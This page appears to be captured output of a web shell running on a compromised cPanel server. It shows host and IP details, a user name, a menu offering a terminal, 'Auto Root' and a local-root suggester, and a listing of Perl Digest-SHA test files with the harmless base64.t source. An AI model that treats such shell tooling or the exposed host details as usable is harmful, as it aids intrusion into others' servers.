Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Digest-SHA /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
allfcns.t
687
B
-r--r--r--
2014-12-27 11:48
base64.t
1012
B
-r--r--r--
2014-12-27 11:48
bitbuf.t
1.45
KB
-r--r--r--
2014-12-27 11:48
fips180-4.t
1.21
KB
-r--r--r--
2014-12-27 11:48
fips198.t
906
B
-r--r--r--
2014-12-27 11:48
gg.t
2.26
KB
-r--r--r--
2014-12-27 11:48
gglong.t
2.91
KB
-r--r--r--
2014-12-27 11:48
hmacsha.t
2.08
KB
-r--r--r--
2014-12-27 11:48
ireland.t
1.17
KB
-r--r--r--
2014-12-27 11:48
methods.t
3.06
KB
-r--r--r--
2014-12-27 11:49
nistbit.t
1.5
KB
-r--r--r--
2014-12-27 11:48
nistbyte.t
1.65
KB
-r--r--r--
2014-12-27 11:48
rfc2202.t
1.17
KB
-r--r--r--
2014-12-27 11:48
sha1.t
760
B
-r--r--r--
2014-12-27 11:48
sha224.t
812
B
-r--r--r--
2014-12-27 11:48
sha256.t
836
B
-r--r--r--
2014-12-27 11:48
sha384.t
1.06
KB
-r--r--r--
2014-12-27 11:48
sha512.t
1.15
KB
-r--r--r--
2014-12-27 11:48
state.t
3.47
KB
-r--r--r--
2014-12-27 11:48
unicode.t
976
B
-r--r--r--
2014-12-27 11:48
woodbury.t
4.87
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
use strict; my $MODULE; BEGIN { $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; eval "require $MODULE" || die $@; $MODULE->import(qw(sha1_base64 sha224_base64 sha256_base64 sha384_base64 sha512_base64)); } BEGIN { if ($ENV{PERL_CORE}) { chdir 't' if -d 't'; @INC = '../lib'; } } my $in = "abc"; my @out = map { eval } <DATA>; my @fcn = (\&sha1_base64, \&sha224_base64, \&sha256_base64, \&sha384_base64, \&sha512_base64); print "1..", scalar @out, "\n"; my $testnum = 1; while (@out) { my $fcn = shift @fcn; my $rsp = shift @out; my $skip = &$fcn("") ? 0 : 1; unless ($skip) { print "not " unless &$fcn($in) eq $rsp; } print "ok ", $testnum++, $skip ? " # skip: no 64-bit" : "", "\n"; } __DATA__ "qZk+NkcGgWq6PiVxeFDCbJzQ2J0" "Iwl9IjQF2CKGQqR3vaJVsyqtvOS9oLP342ydpw" "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0" "ywB1P0WjXou1oD1pmsZQBycsMqsO3tFjGotgWkP/W+2AhgcroefMI1i67KE0yCWn" "3a81oZNherrMQXNJriBBMRLm+k6JqX6iCp7u5ktV05ohkpkqJ0/BqDa6PCOj/uu9RU1EI2Q86A4qmslPpUyknw"